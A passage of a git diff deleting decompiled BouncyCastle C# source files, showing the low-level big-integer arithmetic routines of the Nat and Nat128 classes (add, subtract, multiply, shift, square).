uint x, uint[] y, uint[] z) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[num3] = (uint)num; - num >>= 32; - } - while (++num3 < len); - return (uint)num; - } - - public static uint MulWord(int len, uint x, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[yOff + num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < len); - return (uint)num; - } - - public static uint MulWordAddTo(int len, uint x, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[yOff + num3] + z[zOff + num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < len); - return (uint)num; - } - - public static uint MulWordDwordAddAt(int len, uint x, ulong y, uint[] z, int zPos) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * (uint)y + z[zPos]; - z[zPos] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zPos + 1]; - z[zPos + 1] = (uint)num; - num >>= 32; - num += z[zPos + 2]; - z[zPos + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return IncAt(len, z, zPos + 3); - } - return 0u; - } - - public static uint ShiftDownBit(int len, uint[] z, uint c) - { - int num = len; - while (--num >= 0) - { - uint num2 = z[num]; - z[num] = (num2 >> 1) | (c << 31); - c = num2; - } - return c << 31; - } - - public static uint ShiftDownBit(int len, uint[] z, int zOff, uint c) - { - int num = len; - while (--num >= 0) - { - uint num2 = z[zOff + num]; - z[zOff + num] = (num2 >> 1) | (c << 31); - c = num2; - } - return c << 31; - } - - public static uint ShiftDownBit(int len, uint[] x, uint c, uint[] z) - { - int num = len; - while (--num >= 0) - { - uint num2 = x[num]; - z[num] = (num2 >> 1) | (c << 31); - c = num2; - } - return c << 31; - } - - public static uint ShiftDownBit(int len, uint[] x, int xOff, uint c, uint[] z, int zOff) - { - int num = len; - while (--num >= 0) - { - uint num2 = x[xOff + num]; - z[zOff + num] = (num2 >> 1) | (c << 31); - c = num2; - } - return c << 31; - } - - public static uint ShiftDownBits(int len, uint[] z, int bits, uint c) - { - int num = len; - while (--num >= 0) - { - uint num2 = z[num]; - z[num] = (num2 >> bits) | (c << -bits); - c = num2; - } - return c << -bits; - } - - public static uint ShiftDownBits(int len, uint[] z, int zOff, int bits, uint c) - { - int num = len; - while (--num >= 0) - { - uint num2 = z[zOff + num]; - z[zOff + num] = (num2 >> bits) | (c << -bits); - c = num2; - } - return c << -bits; - } - - public static uint ShiftDownBits(int len, uint[] x, int bits, uint c, uint[] z) - { - int num = len; - while (--num >= 0) - { - uint num2 = x[num]; - z[num] = (num2 >> bits) | (c << -bits); - c = num2; - } - return c << -bits; - } - - public static uint ShiftDownBits(int len, uint[] x, int xOff, int bits, uint c, uint[] z, int zOff) - { - int num = len; - while (--num >= 0) - { - uint num2 = x[xOff + num]; - z[zOff + num] = (num2 >> bits) | (c << -bits); - c = num2; - } - return c << -bits; - } - - public static uint ShiftDownWord(int len, uint[] z, uint c) - { - int num = len; - while (--num >= 0) - { - uint num2 = z[num]; - z[num] = c; - c = num2; - } - return c; - } - - public static uint ShiftUpBit(int len, uint[] z, uint c) - { - for (int i = 0; i < len; i++) - { - uint num = z[i]; - z[i] = (num << 1) | (c >> 31); - c = num; - } - return c >> 31; - } - - public static uint ShiftUpBit(int len, uint[] z, int zOff, uint c) - { - for (int i = 0; i < len; i++) - { - uint num = z[zOff + i]; - z[zOff + i] = (num << 1) | (c >> 31); - c = num; - } - return c >> 31; - } - - public static uint ShiftUpBit(int len, uint[] x, uint c, uint[] z) - { - for (int i = 0; i < len; i++) - { - uint num = x[i]; - z[i] = (num << 1) | (c >> 31); - c = num; - } - return c >> 31; - } - - public static uint ShiftUpBit(int len, uint[] x, int xOff, uint c, uint[] z, int zOff) - { - for (int i = 0; i < len; i++) - { - uint num = x[xOff + i]; - z[zOff + i] = (num << 1) | (c >> 31); - c = num; - } - return c >> 31; - } - - public static ulong ShiftUpBit64(int len, ulong[] x, int xOff, ulong c, ulong[] z, int zOff) - { - for (int i = 0; i < len; i++) - { - ulong num = x[xOff + i]; - z[zOff + i] = (num << 1) | (c >> 63); - c = num; - } - return c >> 63; - } - - public static uint ShiftUpBits(int len, uint[] z, int bits, uint c) - { - for (int i = 0; i < len; i++) - { - uint num = z[i]; - z[i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static uint ShiftUpBits(int len, uint[] z, int zOff, int bits, uint c) - { - for (int i = 0; i < len; i++) - { - uint num = z[zOff + i]; - z[zOff + i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static ulong ShiftUpBits64(int len, ulong[] z, int zOff, int bits, ulong c) - { - for (int i = 0; i < len; i++) - { - ulong num = z[zOff + i]; - z[zOff + i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static uint ShiftUpBits(int len, uint[] x, int bits, uint c, uint[] z) - { - for (int i = 0; i < len; i++) - { - uint num = x[i]; - z[i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static uint ShiftUpBits(int len, uint[] x, int xOff, int bits, uint c, uint[] z, int zOff) - { - for (int i = 0; i < len; i++) - { - uint num = x[xOff + i]; - z[zOff + i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static ulong ShiftUpBits64(int len, ulong[] x, int xOff, int bits, ulong c, ulong[] z, int zOff) - { - for (int i = 0; i < len; i++) - { - ulong num = x[xOff + i]; - z[zOff + i] = (num << bits) | (c >> -bits); - c = num; - } - return c >> -bits; - } - - public static void Square(int len, uint[] x, uint[] zz) - { - int num = len << 1; - uint num2 = 0u; - int num3 = len; - int num4 = num; - do - { - ulong num5 = x[--num3]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - for (int i = 1; i < len; i++) - { - num2 = SquareWordAdd(x, i, zz); - AddWordAt(num, num2, zz, i << 1); - } - ShiftUpBit(num, zz, x[0] << 31); - } - - public static void Square(int len, uint[] x, int xOff, uint[] zz, int zzOff) - { - int num = len << 1; - uint num2 = 0u; - int num3 = len; - int num4 = num; - do - { - ulong num5 = x[xOff + --num3]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - for (int i = 1; i < len; i++) - { - num2 = SquareWordAdd(x, xOff, i, zz, zzOff); - AddWordAt(num, num2, zz, zzOff, i << 1); - } - ShiftUpBit(num, zz, zzOff, x[xOff] << 31); - } - - public static uint SquareWordAdd(uint[] x, int xPos, uint[] z) - { - ulong num = 0uL; - ulong num2 = x[xPos]; - int num3 = 0; - do - { - num += num2 * x[num3] + z[xPos + num3]; - z[xPos + num3] = (uint)num; - num >>= 32; - } - while (++num3 < xPos); - return (uint)num; - } - - public static uint SquareWordAdd(uint[] x, int xOff, int xPos, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x[xOff + xPos]; - int num3 = 0; - do - { - num += num2 * ((ulong)x[xOff + num3] & 0xFFFFFFFFuL) + ((ulong)z[xPos + zOff] & 0xFFFFFFFFuL); - z[xPos + zOff] = (uint)num; - num >>= 32; - zOff++; - } - while (++num3 < xPos); - return (uint)num; - } - - public static int Sub(int len, uint[] x, uint[] y, uint[] z) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)x[i] - (long)y[i]; - z[i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int Sub(int len, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)x[xOff + i] - (long)y[yOff + i]; - z[zOff + i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int Sub33At(int len, uint x, uint[] z, int zPos) - { - long num = (long)z[zPos] - (long)x; - z[zPos] = (uint)num; - num >>= 32; - num += (long)z[zPos + 1] - 1L; - z[zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zPos + 2); - } - return 0; - } - - public static int Sub33At(int len, uint x, uint[] z, int zOff, int zPos) - { - long num = (long)z[zOff + zPos] - (long)x; - z[zOff + zPos] = (uint)num; - num >>= 32; - num += (long)z[zOff + zPos + 1] - 1L; - z[zOff + zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, zPos + 2); - } - return 0; - } - - public static int Sub33From(int len, uint x, uint[] z) - { - long num = (long)z[0] - (long)x; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - 1L; - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, 2); - } - return 0; - } - - public static int Sub33From(int len, uint x, uint[] z, int zOff) - { - long num = (long)z[zOff] - (long)x; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - 1L; - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, 2); - } - return 0; - } - - public static int SubBothFrom(int len, uint[] x, uint[] y, uint[] z) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)z[i] - (long)x[i] - y[i]; - z[i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int SubBothFrom(int len, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)z[zOff + i] - (long)x[xOff + i] - y[yOff + i]; - z[zOff + i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int SubDWordAt(int len, ulong x, uint[] z, int zPos) - { - long num = (long)(z[zPos] - (x & 0xFFFFFFFFu)); - z[zPos] = (uint)num; - num >>= 32; - num += (long)(z[zPos + 1] - (x >> 32)); - z[zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zPos + 2); - } - return 0; - } - - public static int SubDWordAt(int len, ulong x, uint[] z, int zOff, int zPos) - { - long num = (long)(z[zOff + zPos] - (x & 0xFFFFFFFFu)); - z[zOff + zPos] = (uint)num; - num >>= 32; - num += (long)(z[zOff + zPos + 1] - (x >> 32)); - z[zOff + zPos + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, zPos + 2); - } - return 0; - } - - public static int SubDWordFrom(int len, ulong x, uint[] z) - { - long num = (long)(z[0] - (x & 0xFFFFFFFFu)); - z[0] = (uint)num; - num >>= 32; - num += (long)(z[1] - (x >> 32)); - z[1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, 2); - } - return 0; - } - - public static int SubDWordFrom(int len, ulong x, uint[] z, int zOff) - { - long num = (long)(z[zOff] - (x & 0xFFFFFFFFu)); - z[zOff] = (uint)num; - num >>= 32; - num += (long)(z[zOff + 1] - (x >> 32)); - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, 2); - } - return 0; - } - - public static int SubFrom(int len, uint[] x, uint[] z) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)z[i] - (long)x[i]; - z[i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int SubFrom(int len, uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - for (int i = 0; i < len; i++) - { - num += (long)z[zOff + i] - (long)x[xOff + i]; - z[zOff + i] = (uint)num; - num >>= 32; - } - return (int)num; - } - - public static int SubWordAt(int len, uint x, uint[] z, int zPos) - { - long num = (long)z[zPos] - (long)x; - z[zPos] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zPos + 1); - } - return 0; - } - - public static int SubWordAt(int len, uint x, uint[] z, int zOff, int zPos) - { - long num = (long)z[zOff + zPos] - (long)x; - z[zOff + zPos] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, zPos + 1); - } - return 0; - } - - public static int SubWordFrom(int len, uint x, uint[] z) - { - long num = (long)z[0] - (long)x; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, 1); - } - return 0; - } - - public static int SubWordFrom(int len, uint x, uint[] z, int zOff) - { - long num = (long)z[zOff] - (long)x; - z[zOff] = (uint)num; - num >>= 32; - if (num != 0) - { - return DecAt(len, z, zOff, 1); - } - return 0; - } - - public static BigInteger ToBigInteger(int len, uint[] x) - { - byte[] array = new byte[len << 2]; - for (int i = 0; i < len; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, len - 1 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static void Zero(int len, uint[] z) - { - for (int i = 0; i < len; i++) - { - z[i] = 0u; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat128.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat128.cs deleted file mode 100644 index 9c4cc3f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat128.cs +++ /dev/null @@ -1,856 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat128 -{ - private const ulong M = 4294967295uL; - - public static uint Add(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3]); - z[3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddBothTo(uint[] x, uint[] y, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)y[0] + z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)y[1] + z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)y[2] + z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)y[3] + z[3]); - z[3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, uint[] z) - { - ulong num = 0uL; - num += (ulong)((long)x[0] + (long)z[0]); - z[0] = (uint)num; - num >>= 32; - num += (ulong)((long)x[1] + (long)z[1]); - z[1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[2] + (long)z[2]); - z[2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[3] + (long)z[3]); - z[3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddTo(uint[] x, int xOff, uint[] z, int zOff, uint cIn) - { - ulong num = cIn; - num += (ulong)((long)x[xOff] + (long)z[zOff]); - z[zOff] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 1] + (long)z[zOff + 1]); - z[zOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 2] + (long)z[zOff + 2]); - z[zOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)x[xOff + 3] + (long)z[zOff + 3]); - z[zOff + 3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint AddToEachOther(uint[] u, int uOff, uint[] v, int vOff) - { - ulong num = 0uL; - num += (ulong)((long)u[uOff] + (long)v[vOff]); - u[uOff] = (uint)num; - v[vOff] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 1] + (long)v[vOff + 1]); - u[uOff + 1] = (uint)num; - v[vOff + 1] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 2] + (long)v[vOff + 2]); - u[uOff + 2] = (uint)num; - v[vOff + 2] = (uint)num; - num >>= 32; - num += (ulong)((long)u[uOff + 3] + (long)v[vOff + 3]); - u[uOff + 3] = (uint)num; - v[vOff + 3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static void Copy(uint[] x, uint[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - } - - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - } - - public static uint[] Create() - { - return new uint[4]; - } - - public static ulong[] Create64() - { - return new ulong[2]; - } - - public static uint[] CreateExt() - { - return new uint[8]; - } - - public static ulong[] CreateExt64() - { - return new ulong[4]; - } - - public static bool Diff(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - bool flag = Gte(x, xOff, y, yOff); - if (flag) - { - Sub(x, xOff, y, yOff, z, zOff); - } - else - { - Sub(y, yOff, x, xOff, z, zOff); - } - return flag; - } - - public static bool Eq(uint[] x, uint[] y) - { - for (int num = 3; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 1; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static uint[] FromBigInteger(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 128) - { - throw new ArgumentException(); - } - uint[] array = Create(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (uint)x.IntValue; - x = x.ShiftRight(32); - } - return array; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 128) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static uint GetBit(uint[] x, int bit) - { - if (bit == 0) - { - return x[0] & 1; - } - if ((bit & 0x7F) != bit) - { - return 0u; - } - int num = bit >> 5; - int num2 = bit & 0x1F; - return (x[num] >> num2) & 1; - } - - public static bool Gte(uint[] x, uint[] y) - { - for (int num = 3; num >= 0; num--) - { - uint num2 = x[num]; - uint num3 = y[num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool Gte(uint[] x, int xOff, uint[] y, int yOff) - { - for (int num = 3; num >= 0; num--) - { - uint num2 = x[xOff + num]; - uint num3 = y[yOff + num]; - if (num2 < num3) - { - return false; - } - if (num2 > num3) - { - return true; - } - } - return true; - } - - public static bool IsOne(uint[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 4; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 2; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero(uint[] x) - { - for (int i = 0; i < 4; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 2; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = 0uL; - ulong num6 = x[0]; - num5 += num6 * num; - zz[0] = (uint)num5; - num5 >>= 32; - num5 += num6 * num2; - zz[1] = (uint)num5; - num5 >>= 32; - num5 += num6 * num3; - zz[2] = (uint)num5; - num5 >>= 32; - num5 += num6 * num4; - zz[3] = (uint)num5; - num5 >>= 32; - zz[4] = (uint)num5; - for (int i = 1; i < 4; i++) - { - ulong num7 = 0uL; - ulong num8 = x[i]; - num7 += num8 * num + zz[i]; - zz[i] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num7; - num7 >>= 32; - zz[i + 4] = (uint)num7; - } - } - - public static void Mul(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = 0uL; - ulong num6 = x[xOff]; - num5 += num6 * num; - zz[zzOff] = (uint)num5; - num5 >>= 32; - num5 += num6 * num2; - zz[zzOff + 1] = (uint)num5; - num5 >>= 32; - num5 += num6 * num3; - zz[zzOff + 2] = (uint)num5; - num5 >>= 32; - num5 += num6 * num4; - zz[zzOff + 3] = (uint)num5; - num5 >>= 32; - zz[zzOff + 4] = (uint)num5; - for (int i = 1; i < 4; i++) - { - zzOff++; - ulong num7 = 0uL; - ulong num8 = x[xOff + i]; - num7 += num8 * num + zz[zzOff]; - zz[zzOff] = (uint)num7; - num7 >>= 32; - num7 += num8 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num7; - num7 >>= 32; - num7 += num8 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num7; - num7 >>= 32; - num7 += num8 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num7; - num7 >>= 32; - zz[zzOff + 4] = (uint)num7; - } - } - - public static uint MulAddTo(uint[] x, uint[] y, uint[] zz) - { - ulong num = y[0]; - ulong num2 = y[1]; - ulong num3 = y[2]; - ulong num4 = y[3]; - ulong num5 = 0uL; - for (int i = 0; i < 4; i++) - { - ulong num6 = 0uL; - ulong num7 = x[i]; - num6 += num7 * num + zz[i]; - zz[i] = (uint)num6; - num6 >>= 32; - num6 += num7 * num2 + zz[i + 1]; - zz[i + 1] = (uint)num6; - num6 >>= 32; - num6 += num7 * num3 + zz[i + 2]; - zz[i + 2] = (uint)num6; - num6 >>= 32; - num6 += num7 * num4 + zz[i + 3]; - zz[i + 3] = (uint)num6; - num6 >>= 32; - num6 += num5 + zz[i + 4]; - zz[i + 4] = (uint)num6; - num5 = num6 >> 32; - } - return (uint)num5; - } - - public static uint MulAddTo(uint[] x, int xOff, uint[] y, int yOff, uint[] zz, int zzOff) - { - ulong num = y[yOff]; - ulong num2 = y[yOff + 1]; - ulong num3 = y[yOff + 2]; - ulong num4 = y[yOff + 3]; - ulong num5 = 0uL; - for (int i = 0; i < 4; i++) - { - ulong num6 = 0uL; - ulong num7 = x[xOff + i]; - num6 += num7 * num + zz[zzOff]; - zz[zzOff] = (uint)num6; - num6 >>= 32; - num6 += num7 * num2 + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num6; - num6 >>= 32; - num6 += num7 * num3 + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num6; - num6 >>= 32; - num6 += num7 * num4 + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num6; - num6 >>= 32; - num6 += num5 + zz[zzOff + 4]; - zz[zzOff + 4] = (uint)num6; - num5 = num6 >> 32; - zzOff++; - } - return (uint)num5; - } - - public static ulong Mul33Add(uint w, uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = w; - ulong num3 = x[xOff]; - num += num2 * num3 + y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = x[xOff + 1]; - num += num2 * num4 + num3 + y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - ulong num5 = x[xOff + 2]; - num += num2 * num5 + num4 + y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - ulong num6 = x[xOff + 3]; - num += num2 * num6 + num5 + y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - return num + num6; - } - - public static uint MulWordAddExt(uint x, uint[] yy, int yyOff, uint[] zz, int zzOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * yy[yyOff] + zz[zzOff]; - zz[zzOff] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 1] + zz[zzOff + 1]; - zz[zzOff + 1] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 2] + zz[zzOff + 2]; - zz[zzOff + 2] = (uint)num; - num >>= 32; - num += num2 * yy[yyOff + 3] + zz[zzOff + 3]; - zz[zzOff + 3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33DWordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y & 0xFFFFFFFFu; - num += num2 * num3 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - ulong num4 = y >> 32; - num += num2 * num4 + num3 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += num4 + z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += z[zOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - return (uint)num; - } - - public static uint Mul33WordAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = y; - num += num2 * x + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(4, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordDwordAdd(uint x, ulong y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - num += num2 * y + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += num2 * (y >> 32) + z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += z[zOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(4, z, zOff, 3); - } - return 0u; - } - - public static uint MulWordsAdd(uint x, uint y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - ulong num3 = y; - num += num3 * num2 + z[zOff]; - z[zOff] = (uint)num; - num >>= 32; - num += z[zOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - if (num != 0) - { - return Nat.IncAt(4, z, zOff, 2); - } - return 0u; - } - - public static uint MulWord(uint x, uint[] y, uint[] z, int zOff) - { - ulong num = 0uL; - ulong num2 = x; - int num3 = 0; - do - { - num += num2 * y[num3]; - z[zOff + num3] = (uint)num; - num >>= 32; - } - while (++num3 < 4); - return (uint)num; - } - - public static void Square(uint[] x, uint[] zz) - { - ulong num = x[0]; - uint num2 = 0u; - int num3 = 3; - int num4 = 8; - do - { - ulong num5 = x[num3--]; - ulong num6 = num5 * num5; - zz[--num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[--num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[0] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[1]; - ulong num10 = zz[2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[2]; - ulong num13 = zz[3]; - ulong num14 = zz[4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[3]; - ulong num16 = zz[5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - num11 = (uint)num13; - zz[3] = (num11 << 1) | num2; - num2 = num11 >> 31; - num14 += (num13 >> 32) + num15 * num9; - num16 += (num14 >> 32) + num15 * num12; - num17 += num16 >> 32; - num11 = (uint)num14; - zz[4] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num16; - zz[5] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = (uint)num17; - zz[6] = (num11 << 1) | num2; - num2 = num11 >> 31; - num11 = zz[7] + (uint)(int)(num17 >> 32); - zz[7] = (num11 << 1) | num2; - } - - public static void Square(uint[] x, int xOff, uint[] zz, int zzOff) - { - ulong num = x[xOff]; - uint num2 = 0u; - int num3 = 3; - int num4 = 8; - do - { - ulong num5 = x[xOff + num3--]; - ulong num6 = num5 * num5; - zz[zzOff + --num4] = (num2 << 31) | (uint)(int)(num6 >> 33); - zz[zzOff + --num4] = (uint)(num6 >> 1); - num2 = (uint)num6; - } - while (num3 > 0); - ulong num7 = num * num; - ulong num8 = (num2 << 31) | (num7 >> 33); - zz[zzOff] = (uint)num7; - num2 = (uint)((int)(num7 >> 32) & 1); - ulong num9 = x[xOff + 1]; - ulong num10 = zz[zzOff + 2]; - num8 += num9 * num; - uint num11 = (uint)num8; - zz[zzOff + 1] = (num11 << 1) | num2; - num2 = num11 >> 31; - num10 += num8 >> 32; - ulong num12 = x[xOff + 2]; - ulong num13 = zz[zzOff + 3]; - ulong num14 = zz[zzOff + 4]; - num10 += num12 * num; - num11 = (uint)num10; - zz[zzOff + 2] = (num11 << 1) | num2; - num2 = num11 >> 31; - num13 += (num10 >> 32) + num12 * num9; - num14 += num13 >> 32; - num13 &= 0xFFFFFFFFu; - ulong num15 = x[xOff + 3]; - ulong num16 = zz[zzOff + 5] + (num14 >> 32); - num14 &= 0xFFFFFFFFu; - ulong num17 = zz[zzOff + 6] + (num16 >> 32); - num16 &= 0xFFFFFFFFu; - num13 += num15 * num; - 